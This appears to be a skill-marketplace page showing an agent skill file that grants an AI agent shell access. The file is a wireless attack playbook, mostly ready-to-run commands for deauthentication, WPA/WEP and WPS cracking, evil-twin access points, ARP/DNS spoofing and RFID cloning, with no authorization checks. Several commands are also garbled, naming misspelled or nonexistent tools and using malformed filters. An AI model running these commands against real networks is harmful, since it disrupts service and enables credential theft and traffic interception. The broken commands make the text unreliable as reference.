Skip to main content

wireless-security

Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
15 de junio de 2026 a las 11:26
Idioma detectado de SKILL.md
inglés
Estrellas
5522
Forks
1048

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
wireless-security
description
Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.
allowed-tools
Bash Read Write
metadata
{"subdomain":"reconnaissance","when_to_use":"wireless security, WiFi analysis, Bluetooth assessment, RFID, NFC, signal capture, protocol analysis, encryption testing, rogue device detection, wardriving, packet capture","tags":"wireless, wifi, bluetooth, rfid, nfc, signal-analysis, encryption-testing, wardriving, packet-capture, rogue-device","mitre_attack":"T1584, T1584.001, T1584.002, T1584.003, T1584.004"}
# Wireless Network Security Reconnaissance Knowledge Base Wireless network security reconnaissance involves identifying, analyzing, and assessing wireless communication protocols and networks for vulnerabilities. This includes WiFi, Bluetooth, RFID/NFC, Zigbee, Z-Wave, LoRaWAN, and other wireless technologies. ## 1. WiFi Network Reconnaissance ### Network Discovery ```bash # Scan for WiFi networks airodump-ng wlan0 # Scan specific channel airodump-ng -c 6 --bssid <BSSID> wlan0 # Scan all channels wash -i wlan0 -C ``` ### Target Identification ```bash # Identify target network airolump-ng wlan0 # Get network information airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0 ``` ### Client Identification ```bash # Identify connected clients airodump-ng -c <channel> --bssid <BSSID> wlan0 # Deauthenticate clients to capture handshakes aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0 ``` ## 2. WiFi Encryption Analysis ### Encryption Type Detection ```bash # Check encryption type airodump-ng -c <channel> wlan0 | grep "CH\s*" # WEP detection (vulnerable) if [ "$(airodump-ng -c <channel> wlan0 | grep WEP)" ]; then echo "WEP detected - vulnerable!"; fi # WPA/WPA2 detection airodump-ng -c <channel> wlan0 | grep -E "WPA|WPA2" # Open network detection airodump-ng -c <channel> wlan0 | grep "OPEN" ``` ### Vulnerability Assessment ```bash # WPS vulnerability check wash -i wlan0 -C reaver -i wlan0 -b <BSSID> -vv bully <BSSID> -c <channel> wlan0 # PMKID attack (if WPA2) hcxpcapngtool -o hash.hc22000 capture.cap --pmkid # WPA handshake capture aireplay-ng -0 10 -a <BSSID> wlan0 ``` ### Key Cracking ```bash # WEP cracking airecrack-ng -b <BSSID> capture.cap # WPA/WPA2 cracking with wordlist airecrack-ng -w wordlist.txt -b <BSSID> capture.cap # Use hashcat for GPU acceleration hcxpcapng2john capture.hc22000 > hash.txt hashcat -m 22000 hash.txt wordlist.txt ``` ## 3. Bluetooth Reconnaissance ### Device Discovery ```bash # Scan for Bluetooth devices hcitool scan # Extended scan with more details bluetoothctl scan on bluetoothctl devices ``` ### Service Discovery ```bash # Discover services on device sdptools browse <device_address> # RFCOMM scan rfcomm -a <device_address> list ``` ### Connection Attempts ```bash # Connect to device bluetoothctl connect <device_address> # Trust and pair bluetoothctl trust <device_address> bluetoothctl pair <device_address> ``` ## 4. BLE (Bluetooth Low Energy) Analysis ### BLE Device Discovery ```bash # Scan for BLE devices hcitool lescan # Scan with more details bluetoothctl scan on ``` ### BLE Service Discovery ```bash # Discover services gatttool -b <device_address> -p /dev/null connect # List services gatttool -b <device_address> -p /dev/null primary # List characteristics gatttool -b <device_address> -p /dev/null characteristics ``` ### BLE Packet Capture ```bash # Capture BLE packets btmon # Filter BLE traffic tshark -i bluetooth0 -f "btcommon.address == <device_address>" ``` ## 5. RFID and NFC Reconnaissance ### RFID Analysis ```bash # Use RFID reader rfidtool --read # Clone RFID tag (if vulnerable) rfidtool --clone --source <source_uid> --target <target_uid> # Proxmark3 commands proxmark3> hf search proxmark3> hf mfdump ``` ### NFC Analysis ```bash # NFC tag reading nfc-list nfc-poll # Mifare Classic analysis mfoc -O mf_dump.bin # NFC URL extraction nfc-mfultralight rdump nfc_dump.bin strings nfc_dump.bin ``` ## 6. Signal Analysis and Capture ### Packet Capture ```bash # WiFi packet capture tcpdump -i wlan0 -n -w capture.pcap # Filter for specific protocol tcpdump -i wlan0 -n port 53 -w dns_capture.pcap # Airplane mode packet capture tshark -i wlan0 -w wireless_capture.pcap ``` ### Spectrum Analysis ```bash # Use SDR (Software Defined Radio) rtl_sdr -f 2412e6 -s 2e6 -g 20 -b 8 -F 0 -l 0 -E deinterleave -E dcblock -E normalized output.raw # Analyze with gnuradio # Requires GNU Radio setup ``` ### Signal Strength Analysis ```bash # Monitor signal strength watch -n 1 "iwconfig wlan0 | grep Signal" # Create signal heatmap kismet ``` ## 7. Rogue Device Detection ### Rogue Access Point Detection ```bash # Detect rogue APs kismet # Use specialized tools wifi-pumpkin -i wlan0 # Detect evil twin attacks airodump-ng -c <channel> wlan0 | grep -E "<known_SSID>|<known_BSSID>" ``` ### Rogue Client Detection ```bash # Detect unauthorized clients airodump-ng -c <channel> wlan0 | grep -v <authorized_mac_list> # Detect MAC spoofing airodump-ng -c <channel> wlan0 | grep -E "<known_MAC_prefixes>" ``` ## 8. Wireless Protocol Analysis ### WiFi Protocol Analysis ```bash # Analyze WiFi management frames tshark -i wlan0 -Y "wlan.fc.type == 0" -V # Analyze WiFi control frames tshark -i wlan0 -Y "wlan.fc.type == 1" -V # Analyze WiFi data frames tshark -i wlan0 -Y "wlan.fc.type == 2" -V ``` ### Bluetooth Protocol Analysis ```bash # Analyze Bluetooth packets tshark -i bluetooth0 -V # Filter for specific Bluetooth protocol tshark -i bluetooth0 -Y "btatt" -V ``` ## 9. Encryption Testing ### WiFi Encryption Testing ```bash # Test WEP encryption strength aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <My_MAC> wlan0 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -e <ESSID> -a <BSSID> -h <My_MAC> wlan0 # Test WPA handshake aircrack-ng -w wordlist.txt -b <BSSID> capture.cap ``` ### Bluetooth Encryption Testing ```bash # Check Bluetooth encryption status bluetoothctl info <device_address> # Test encryption strength # Requires specialized tools ``` ## 10. Advanced Wireless Attacks ### Deauthentication Attacks ```bash # Deauthenticate specific client aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0 # Deauthenticate all clients aireplay-ng -0 10 -a <BSSID> wlan0 # Continuous deauthentication aireplay-ng -0 0 -a <BSSID> wlan0 ``` ### MITM Attacks ```bash # ARP spoofing arpspoof -i wlan0 -t <target_ip> -r <gateway_ip> # DNS spoofing dnsspoof -i wlan0 "tcp port 53 and (udp port 53)" ``` ### Evil Twin Attack ```bash # Create evil twin AP airbase-ng -e <Fake_SSID> -c <channel> wlan0 # Use hostapd # Configure /etc/hostapd/hostapd.conf # Then: hostapd /etc/hostapd/hostapd.conf ``` ## 11. Wireless Security Tools ### WiFi Tools ```bash # Comprehensive WiFi suite aircrack-ng suite # - airodump-ng: Packet capture # - aireplay-ng: Packet injection # - airtun-ng: Virtual tunnel interface # - airolump-ng: WEP and WPA PSK key generator # WPA/WPA2 handshake capture wifite # WiFi signal analysis kismet ``` ### Bluetooth Tools ```bash # Bluetooth scanning and analysis bluetoothctl # RFCOMM tool rfcomm # SDP tool sdptools ``` ### RFID/NFC Tools ```bash # RFID analysis rfidtool # NFC analysis libnfc tools # Proxmark3 proxmark3-client ``` ## Tools Summary | Tool | Purpose | Required | |------|---------|----------| | `airodump-ng` | WiFi packet capture | ✅ | | `aireplay-ng` | WiFi packet injection | ✅ | | `aircrack-ng` | WiFi encryption cracking | ✅ | | `wash` | WPS detection | ✅ | | `reaver` | WPS brute-force attack | ✅ | | `bully` | WPS brute-force attack | ✅ | | `hcxpcapngtool` | PMKID extraction | ✅ | | `hashcat` | Password cracking | ✅ | | `hcitool` | Bluetooth device scanning | ✅ | | `bluetoothctl` | Bluetooth device management | ✅ | | `gatttool` | BLE service discovery | ✅ | | `rfcomm` | RFCOMM channel access | ✅ | | `sdptools` | SDP service discovery | ✅ | | `tcpdump` | Network packet capture | ✅ | | `tshark` | Command-line protocol analysis | ✅ | | `kismet` | Wireless network detector | ✅ | | `rtlsdr` | Software Defined Radio | ❌ | | `proxmark3` | RFID/NFC analysis | ❌ | | `wifite` | Automated WiFi attacks | ✅ |
Ver en GitHub